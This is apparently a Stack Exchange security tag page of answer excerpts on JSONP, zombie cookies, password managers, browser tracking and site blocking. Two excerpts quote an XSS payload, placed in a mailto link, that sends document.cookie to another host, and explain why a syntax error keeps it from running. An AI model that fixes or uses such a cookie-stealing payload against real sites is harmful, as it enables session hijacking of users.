Tag Info

Hot answers tagged

3

No it is not safe. You are correct that the JSONP service could deliver arbitrary JavaScript, which is then executed as part of your site. Because JSONP is essentially a hack to get around the same origin policy, it is not possible for a JavaScript framework to perform sanitisation. These days, CORS is the preferred way to call external sites. An ...


3

With the comments removed, your code looks like this: <a href='mailto:</a><script>location.href=location.href="http://127.0.0.1/""http://127.0.0.1/"+document.cookie;+document.cookie;</script><a>'>*/</script><a></a> This results in a syntax error, which prevents the code from running. Particularly, the "" is ...


3

Banks like BoA use a risk-based decision engine that examines several variables, including but not limited to: Your visible IP address Your brower's "signature," which incudes the user agent header and detectable display properties such as screen resolution The presence of a persistent cookie The presence of data in another persistent store, such as a ...


3

You say that you do not trust Microsoft and want to hide your identity from that company. However, this is gapingly inconsistent with your action of using an operating system that consists of countless of megabytes of binary executable code produced by Microsoft. Suppose that you use an operating system whose vendor you do not trust; you suspect that it ...


3

I'm not aware of any plugins specifically that do this, but in the case of the Google search engine, or something like Norton DNS or google DNS it's all done on reputation. For example if you report a page as a phishing page, then a hundred other people also report it, when that search result comes up in google it will say that the page is potentially ...


2

Simple answer: No Any attack which compromises your machine could add toolbars to your browser. However, this is a very different type of attack, and to be honest, any attacker who has full control of your machine is likely to do worse things, like making you part of a botnet, adding keystroke loggers etc.


2

Unfortunately, installing addons is not the only way. There have been a number of javascript methods over the years, many of which are no longer supported by most browsers. However there is at least 1 method still possible that works on modern IE browsers: http://msdn.microsoft.com/en-us/subscriptions/ms531418(v=vs.85).aspx There are probably others.


2

The problem is largely in the effectiveness of the dynamic analysis. How do you define malware? What does malware always do that normal programs never do? (Hint: there is no answer to this question) Well-written malware can look innocent and perfectly legitimate programs can look dangerous. Here's a simple example: the malware might try to join your ...


2

This sounds like a Zombie Cookie. There are a large number of places a web site can store state: cookies, Flash local storage, ETags, etc. When you clear your cookies, you do not necessarily clear all these places. Web sites can store an identifier in some of these other places, and track users despite them clearing their cookies. If you use a dedicated ...


2

[Disclosure: I, too, work for a password manager company] Long ago, I tried to develop my own password management solution using PGP/GnuPG. As I thought more about it, I found it unsatisfactory and eventually switched to the one that I have now come to work for. Here are some things you should consider before trying to roll your own password management ...


2

Full Disclosure: I work at a password manager company. I won't say which because I'm not going to mention any of them by name. You are better off using one of the commercial or FOSS, already existing password managers. Why? Because a team of people who work full time (or in the FOSS managers, a team of dedicated and intelligent volunteers) on the project ...


2

On Unix systems, the user home directory is associated with the user account and any application can "sense" it by using getpwent(). It so happens that there is a long-standing tradition, in Unix applications who want to learn the user's home directory (e.g. to read or create configuration files), to first look at the HOME environment variable and use its ...


2

Your browsing history is basically a file on the computer's disk. Depending on your attack scenario, many things are possible: For someone who has access to your computer, through a remote-controlled malware or just sitting at your desk while you're away, it is entirely possible to get that history file and read it "without a browser". If, however, you ...


1

The easiest solution would be to block dns resolution to those sites in the internal dns server†. If your pcs go through a proxy, a better solution would be to block those urls in the proxy configuration. Note however that although your manager thinks that facebook or youtube shall never be used in the office, you will find that it will sometimes be needed: ...


1

You seem to have the basic user data covered, but I'm not sure why try to isolate it like that. I would run each user's browser instances with an in-memory home directory/storage area. Then when the process terminates, all of the data is destroyed, no risk of leaving anything behind. Headless Webkit like PhantomJS provide flags specifically to move these ...


1

How much a website knows Assuming you are browsing on a website without any protection, a website can know a great deal of things about a computer. Further, a great deal of this information is generally stored by the website in some sort of database. Often times, websites will store a great deal of information in order to remember some information about you ...


1

Nothing should be changed except the downloaded Internet files. I would take a snapshot of the fresh VM and revert back every night (or sooner if it detects evidence of malware). That way, it is free to be compromised, but you limit its effect. Unless you hope to inspect changes in the VM as the method of detection that there has been malware, in which ...


1

I doubt anyone on this site will be able to tell you exactly what sorts of information outlook.com is recording, or how precisely that information is being communicated to MS. Microsoft doesn't explain the full details of that in most cases. What I can say is that Tor on its own may not be enough. In fact, if you are doing something questionable, it might ...


1

Assuming that this is the code that is displayed on the webpage, I would say that the URL you pass to location.href is malformed which makes the Javascript crash. Hence, nothing happen. Your code if you reformat it and remove the comments look like that (and there seems to have a typo for the > character on the first line...) <a ...


1

Yes, it is possible to track mouse movements with Java: http://docs.oracle.com/javase/tutorial/uiswing/events/mousemotionlistener.html Or http://stackoverflow.com/questions/18321877/tracking-mouse-movement-in-java Or http://mrbool.com/creating-a-simple-mouse-analyzer-with-java-swing/24507



Only top voted, non community-wiki answers of a minimum length are eligible